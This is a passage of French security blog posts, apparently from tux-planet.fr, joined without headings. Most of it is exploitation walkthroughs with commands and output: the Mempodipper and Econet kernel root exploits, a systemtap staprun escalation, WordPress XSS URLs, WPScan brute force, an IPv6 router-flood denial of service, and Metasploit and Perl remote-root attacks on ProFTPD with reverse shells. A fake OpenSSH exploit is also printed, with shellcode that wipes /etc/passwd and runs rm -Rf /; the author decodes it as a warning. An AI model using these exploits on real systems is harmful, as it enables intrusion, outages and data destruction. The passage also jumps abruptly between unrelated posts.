$ wget www.tux-planet.fr/public/hack/exploits/kernel/mempodipper.c
$ gcc mempodipper.c -o mempodipper
$ ./mempodipper
===============================
= Mempodipper =
= by zx2c4 =
= Jan 21, 2012 =
===============================

[+] Waiting for transferred fd in parent.
[+] Executing child from child fork.
[+] Opening parent mem /proc/6454/mem in child.
[+] Sending fd 3 to parent.
[+] Received fd at 5.
[+] Assigning fd 5 to stderr.
[+] Reading su for exit@plt.
[+] Resolved exit@plt to 0x402178.
[+] Seeking to offset 0x40216c.
[+] Executing su with shellcode.
sh-4.2# whoami
root

Les explications techniques sont lisibles ici, en anglais :
http://blog.zx2c4.com/749

Les touches à utiliser sont Alt + Ctrl + * . Attention, il faut se servir du caractère étoile du pavé numérique pour que cela fonctionne. Côté technique, cette combinaison envoie tout simplement un signal qui fait un kill sur le processus d'économiseur d'écran.

J'ai pu tester cet exploit avec succès sur une Fedora 16 et l’économiseur d'écran Xscreensaver activé. Les versions que j'utilise sont les suivantes :

$ rpm -qa | grep "xorg-x11-server-Xorg\|xscreensaver-base"
xscreensaver-base-5.15-3.fc16.x86_64
xorg-x11-server-Xorg-1.11.2-3.fc16.x86_64

Cela devrait marcher aussi pour Debian Testing, Debian Sid, ainsi que dans Gentoo et Archlinux. En revanche, la faille ne fonctionne pas sous Ubuntu 11.10, car la version de Xorg est la 1.10 :

$ Xorg -version
X.Org X Server 1.10.4
$ lsb_release -ds
Ubuntu 11.10

Bref, on critique souvent Windows & Co pour ses failles de sécurité, mais là, je pense que GNU/Linux a fait très fort.

Pour installer WPScan sur une distribution à base de Debian, ouvrez un terminal en root et lancez les commandes suivantes :

sudo apt-get install ruby libcurl4-gnutls-dev libopenssl-ruby rubygems subversion
sudo gem install typhoeus xml-simple

Ou pour une distribution à base de RPM :

yum install ruby rubygem-xml-simple rubygem-typhoeus subversion

Ensuite, il faut récupérer le code source depuis le dépôt SVN officiel :

svn checkout http://wpscan.googlecode.com/svn/trunk/ ./wpscan
cd wpscan

Pour finir, voici quelques exemples d'utilisation.

Lancer un simple audit :

ruby ./wpscan.rb --url www.example.com

Faire de la brute force sur l'interface d'administration, en utilisant un fichier de dictionnaire :

ruby ./wpscan.rb --url www.example.com --wordlist darkc0de.lst --username admin

Lister les plugins utilisés sur un site et afficher les failles de sécurité en relation :

ruby ./wpscan.rb --url www.example.com --enumerate p

On crée quelques dossiers et fichiers :

$ mkdir -p test && cd test
$ mkdir rep1 rep2
$ touch fichier1 fichier2

Si on liste le contenu, on les retrouve sans problème :

$ ls
fichier1 fichier2 rep1 rep2

Maintenant, on crée deux fichiers spécifiques et on observe le résultat :

$ touch -- -r -f
$ ls
-f fichier1 fichier2 -r rep1 rep2

On s'aperçoit que les fichiers -f et -r sont présents. Et ils peuvent être dangereux s'ils sont interprétés comme des arguments. On fait le test avec la commande rm et l'option -i qui permet de demander une confirmation avant suppression :

$ rm -i *
$ ls
-f -r

Et là bingo. Le shell Bash les interprète bien comme des arguments, et au lieu de faire un rm -i, il fait carrément un rm -rf.

Bon cette faille n'est pas très dangereuse en elle-même, peu de gens feront cette erreur. Il faut quand même avoir l'idée de créer des fichiers nommés "-r" et "-f" avec la commande touch. Mais cela laisse un peu perplexe sur le comportement de Bash, qui ne fait pas la différence entre un nom de fichier et un argument.

Voici deux exemples d'utilisation. Pour WordPress version 3.2.1 :

http://www.futurefisherman.org/?s=%3CIMG%20%22%22%22%3E%3CSCRIPT%3Ealert%28%22XSS%22%29%3C/SCRIPT%3E%22%3E

Et pour WordPress 3.1 :

http://blogs.comodo.com/?s=%3Cimg%20src=http://www.tux-planet.fr/public/hack/images/no-permission.jpg%20align=center%3E

Si vous êtes vulnérable à cette faille, voici une solution donnée par Aryo :

1. Allez dans "Apparence > Editeur" dans l’administration WP
2. Choisissez "Résultats de recherche (search.php)"
3. Trouvez la ligne qui correspond à l’affichage de la requête. Par exemple "Résultat de la recherche pour "<?php echo $s; ?>"
4. On aperçoit qu’en effet, l’affichage n’est pas protégé, alors on s’en charge. Remplacez <?php echo $s; ?> par <?php echo htmlspecialchars($s); ?>
5. Vérifiez que la faille n’est plus exploitable

Source

Sur Internet, on tombe parfois sur des hackers qui se vantent d'avoir trouvé une faille de sécurité dans un logiciel et propose d'utiliser leur exploit. On peut prendre l'exemple de Chroniccommand, qui le 26 janvier 2011 a publié un exploit 0day pour OpenSSH :

/*
openSSH 5.7 0day exploit
Off by One error in auth2-pubkey.c
Author: Chroniccommand
Usage: ./exploit <host> <ip>
greetz to _st4ck3d*, x3n0n, xin etc you know who you are
*/
#include <stdio.h>
#include <netdb.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <arpa/inet.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

void usage(char *argv[])
{
  printf("Usage: %s <target> <port>\n", argv[0]);
  exit(1);
}

unsigned char shellcode[] =
"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68"
"\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65"
"\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73"
"\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22"
"\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20"
"\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1"
"\xcd\x80";

int main(int argc, char *argv[])
{
  int uid = getuid();
  int port = 22, sock;
  struct hostent *host;
  struct sockaddr_in addr;

  if(uid !=0)
  {
    fprintf(stderr, "[!!]Error: You must be root\n");
    exit(1);
  }
  if(uid == 0)
  {
    printf("\t[+]Starting exploit..\n");
  }
  if(argc != 3)
       usage(argv);

  fprintf(stderr, "[!!]Exploit failed\n");
  (*(void(*)())shellcode)();
  exit(1);
  char payload[1024];
  memcpy(payload, &shellcode, sizeof(shellcode));
  if(connect(sock,(struct sockaddr*)&addr,sizeof(addr))==0)
  {
    printf("[+]Got shell\n");
    system("/bin/sh");
  }
  else if(connect(sock,(struct sockaddr*)&addr, sizeof(addr))==-1)
  {
    fprintf(stderr, "[!!]Exploit failed\n");
    exit(1);
  }
}

C'est dans ce genre de situation qu'il est intéressant de savoir comment décoder un shellcode, afin de bien comprendre les actions effectuées par le code, plutôt que de l'exécuter bêtement. Dans le cas ci-dessus, on va dans un premier temps mettre le shellcode sur une seule ligne :

"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1\xcd\x80"

Puis, on va lancer les deux commandes suivantes pour le décoder :

$ perl -e 'print "\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x39\x00\x00\x00\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x73\x68\x61\x64\x6f\x77\x20\x3b\x20\x65\x63\x68\x6f\x20\x22\x22\x20\x3e\x20\x2f\x65\x74\x63\x2f\x70\x61\x73\x73\x77\x64\x20\x3b\x20\x72\x6d\x20\x2d\x52\x66\x20\x2f\x00\x57\x53\x89\xe1\xcd\x80"' > code

$ strings code
Rfh-c
h/sh
h/bin
echo "" > /etc/shadow ; echo "" > /etc/passwd ; rm -Rf /

L'exploit de Chroniccommand est donc un fake plutôt dangereux. Si une personne s'aventure à l'exécuter, son système sera entièrement effacé par les commandes suivantes :

echo "" > /etc/shadow
echo "" > /etc/passwd
rm -Rf /

Il faut donc rester vigilant à ce que l'on trouve dans le monde de l'underground. Pour ma part, j'analyse toujours le code avant de l'exécuter dans une machine virtuelle dédiée, afin de me prémunir de tout risque.

Source

L'exploitation de cette faille est plutôt simple, surtout si l'on se sert de l'utilitaire flood_router6 présent dans le logiciel Thc-ipv6.

Voici un exemple d'utilisation sous Ubuntu :

sudo apt-get install libpcap0.8-dev libssl-dev
wget http://freeworld.thc.org/releases/thc-ipv6-1.4.tar.gz
tar zxvf thc-ipv6-*.tar.gz && rm -f thc-ipv6-*.tar.gz
cd thc-ipv6-*
make
sudo ./flood_router6 eth0

Chez moi, tous les Windows 7 ont planté. Mais pire encore, l'iPhone de ma copine semble également avoir été touché (plantage du téléphone alors qu'elle jouait à un jeu...).

Les machines Linux ont parfaitement résisté pour une fois. Pour les systèmes Windows, la seule parade à cette attaque est de mettre à jour votre machine ou de désactiver IPv6.

La commande MS-DOS suivante doit le permettre (non testée) :

netsh interface ipv6 set interface "Local Area Connection" routerdiscovery=disabled

Le seul moyen de contrer cette attaque est de mettre à jour votre système. Voici un exemple d'utilisation de l'exploit :

$ wget www.tux-planet.fr/public/hack/exploits/kernel/nelson.c
$ gcc -o nelson nelson.c
$ ./nelson
[*] Resolving kernel addresses...
[+] Resolved econet_ioctl to 0xf80f02a0
[+] Resolved econet_ops to 0xf80f03a0
[+] Resolved commit_creds to 0xc016c830
[+] Resolved prepare_kernel_cred to 0xc016cc80
[*] Calculating target...
[*] Triggering payload...
[*] Got root!
# id
uid=0(root) gid=0(root) groupes=0(root)

J'ai testé l'exploit avec succès sur une Ubuntu 10.10 (noyau en version 2.6.35-22-generic). Cela ne marche pas après une mise à jour du système (noyau en version 2.6.35-23). Je n'ai pas eu le temps de le tester sur d'autres systèmes mais on peut lire, en commentaire dans le code source, que celui-ci est assez limité :

• il ne concerne donc pas Slackware et Debian (le symbole résolu n'existe pas sous ces distributions)
• il ne concerne pas Red Hat car cette distribution ne supporte pas Econet par défaut
• il ne concerne pas les Ubuntu et Debian qui ont été mises à jour (CVE-2010-3849 et CVE-2010-3850)

Le seul moyen de contrer cette attaque est de mettre à jour son système. Voici un exemple d'utilisation sur une RHEL 5.5 :

$ cat /etc/redhat-release
Red Hat Enterprise Linux Server release 5.5 (Tikanga)
$ rpm -qa | grep systemtap
systemtap-runtime-1.1-3.el5_5.2
systemtap-1.1-3.el5_5.2

On lance ensuite l'exploit comme ceci :

$ printf "install uprobes /bin/sh" > exploit.conf; MODPROBE_OPTIONS="-C exploit.conf" staprun -u whatever

sh-3.2# id
uid=0(root) gid=0(root)

L'exploit fonctionne aussi sous Fedora, Ubuntu et d'autres distributions, à condition d'installer systemtap au préalable. Comme il faut un compte root pour faire cela, l'exploitation de la faille reste très limitée.

Pour installer cet outil sur une distribution à base de Debian, ouvrez un terminal et lancez la commande suivante :

sudo apt-get install systemtap-runtime

Ou celle-ci pour une distribution à base de RPM :

su -c 'yum install systemtap'

Cette version corrige également une vulnérabilité de type "directory traversal" dans le module mod_site_misc (non activé par défaut).

Pour ce qui est de la faille principale, cette dernière se situe dans la fonction pr_netio_telnet_gets() du code source. Ainsi, si l'on envoie un trop grand nombre de commandes telnet IAC à un serveur ProFTPD, cela provoque un buffer overflow et permet d'exécuter du code arbitraire à distance.

Attention, la suite de cet article suppose que vous connaissez déjà le fonctionnement de Metasploit

Rechercher les serveurs FTP d'un réseau avec Metasploit

Si vous souhaitez rechercher tous les serveurs FTP d'un réseau, il suffit d'utiliser le module ftp_version de Metasploit comme ceci :

msf > use scanner/ftp/ftp_version
msf > info
msf > set RHOSTS 192.168.0.1-192.168.0.255
msf > set THREADS 50
msf > exploit

Vous obtiendrez ainsi la liste de tous les serveurs FTP actifs. La plupart du temps, la version et le nom du serveur FTP sont cachés, ce qui rend un peu plus compliqué la recherche d'un serveur d'un type bien particulier (ex: ProFTPD).

Metasploit et la faille telnet IAC dans ProFTPD

Pour exploiter la faille telnet IAC de ProFTPD, il suffit d'utiliser l'un des exploits fournis dans Metasploit. Dans notre exemple, nous allons nous attaquer ici à la machine 192.168.0.101 :

msf > search telnet_iac
msf > use linux/ftp/proftp_telnet_iac
msf > info
msf > set RHOST 192.168.0.101
msf > set RPORT 21
msf > show targets
msf > set TARGET 0
msf > set PAYLOAD linux/x86/meterpreter/reverse_tcp
msf > set LHOST 192.168.1.100

Le module étant correctement configuré, on peut lancer l'attaque :

msf > exploit
[*] Started reverse handler on 192.168.56.100:4444
[*] Connecting to FTP server 192.168.56.101:21...
[*] Connected to target FTP server.
[*] Automatically detecting the target...
[*] FTP Banner: 220 ProFTPD 1.3.3a Server (Debian) [192.168.56.101]
[*] Selected Target: ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1
[*] Your payload should have executed now...
[*] Transmitting intermediate stager for over-sized stage...(100 bytes)
[*] Sending stage (1363968 bytes) to 192.168.56.101
[*] Meterpreter session 1 opened (192.168.56.100:4444 → 192.168.56.101:49066) at Sun Nov 07 16:29:22 +0100 2010

On ouvre ensuite un accès sur la machine distante :

msf > sessions -i 1

L'inconvénient du module Metasploit est qu'il est capable d'attaquer un nombre limité de cibles :

msf > show targets
0 - Automatic Targeting (default)
1 - Debug
2 - ProFTPD 1.3.3a Server (Debian) - Squeeze Beta1
3 - ProFTPD 1_3_3a Server (Debian) - Squeeze Beta1 (Debug)

Il existe un module pour la version FreeBSD (use linux/ftp/proftp_telnet_iac), mais pour les autres système, il faudra utiliser d'autres méthodes.

Un autre exploit pour la faille telnet IAC dans ProFTPD

Kingcope a mis en ligne, le 7 novembre 2010, un script Perl qui permet d'exploiter cette faille sur un nombre plus important de plateformes :

• FreeBSD 8.1 i386, ProFTPD 1.3.3a Server (binary)
• FreeBSD 8.0/7.3/7.2 i386, ProFTPD 1.3.2a/e/c Server (binary)
• Debian GNU/Linux 5.0, ProFTPD 1.3.2e Server (Plesk binary)
• Debian GNU/Linux 5.0, ProFTPD 1.3.3 Server (Plesk binary)
• Debian GNU/Linux 4.0, ProFTPD 1.3.2e Server (Plesk binary)
• Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary)
• SUSE Linux 9.3, ProFTPD 1.3.2e Server (Plesk binary)
• SUSE Linux 10.0/10.3, ProFTPD 1.3.2e Server (Plesk binary)
• SUSE Linux 10.2, ProFTPD 1.3.2e Server (Plesk binary)
• SUSE Linux 11.0, ProFTPD 1.3.2e Server (Plesk binary)
• SUSE Linux 11.1, ProFTPD 1.3.2e Server (Plesk binary)
• SUSE Linux SLES 10, ProFTPD 1.3.2e Server (Plesk binary)
• CentOS 5, ProFTPD 1.3.2e Server (Plesk binary)

Voici un exemple d'utilisation. Tout d'abord, on met netcat en écoute sur le port 45295 :

nc -l 45295

Puis dans un autre shell, on lance l'exploit :

netstat -pan | grep 45295
wget www.tux-planet.fr/public/hack/exploits/proftpd/proftpd-iac-remote-root-exploit.pl
perl proftpd-iac-remote-root-exploit.pl
perl proftpd-iac-remote-root-exploit.pl 192.168.1.101 192.168.100 5

Ce qui affichera quelque chose comme ceci :

[192.168.56.101] Debian Linux Squeeze/sid, ProFTPD 1.3.3a Server (distro binary) :pP
align = 4101
Seeking for write(2)..
Using write offset 080532d8.

SUCCESS. write(2) is at 080532d8
Reading memory from server...
pop pop pop ret located at 0805462e
large pop ret located at 08059a09
mmap64 is located at 08053d18
memcpy is located at 080536c8
byte1: 0805a056
byte2: 0805341a
byte3: 08053f8b
byte4: 080596b3
byte5: 08053314
byte6: 0806a7d8
byte7: 08053c35
byte8: 080532da
byte9: 08054535
Building exploit buffer
Sending exploit buffer!
Check your netcat?
done.

PS : chez moi, cet exploit ne marche pas trop, mais l'idée est là. A noter, que sous Ubutnu, le script perl génère une erreur (Can't call method "sockopt"). Par contre, sous Fedora il n'y a pas de problème...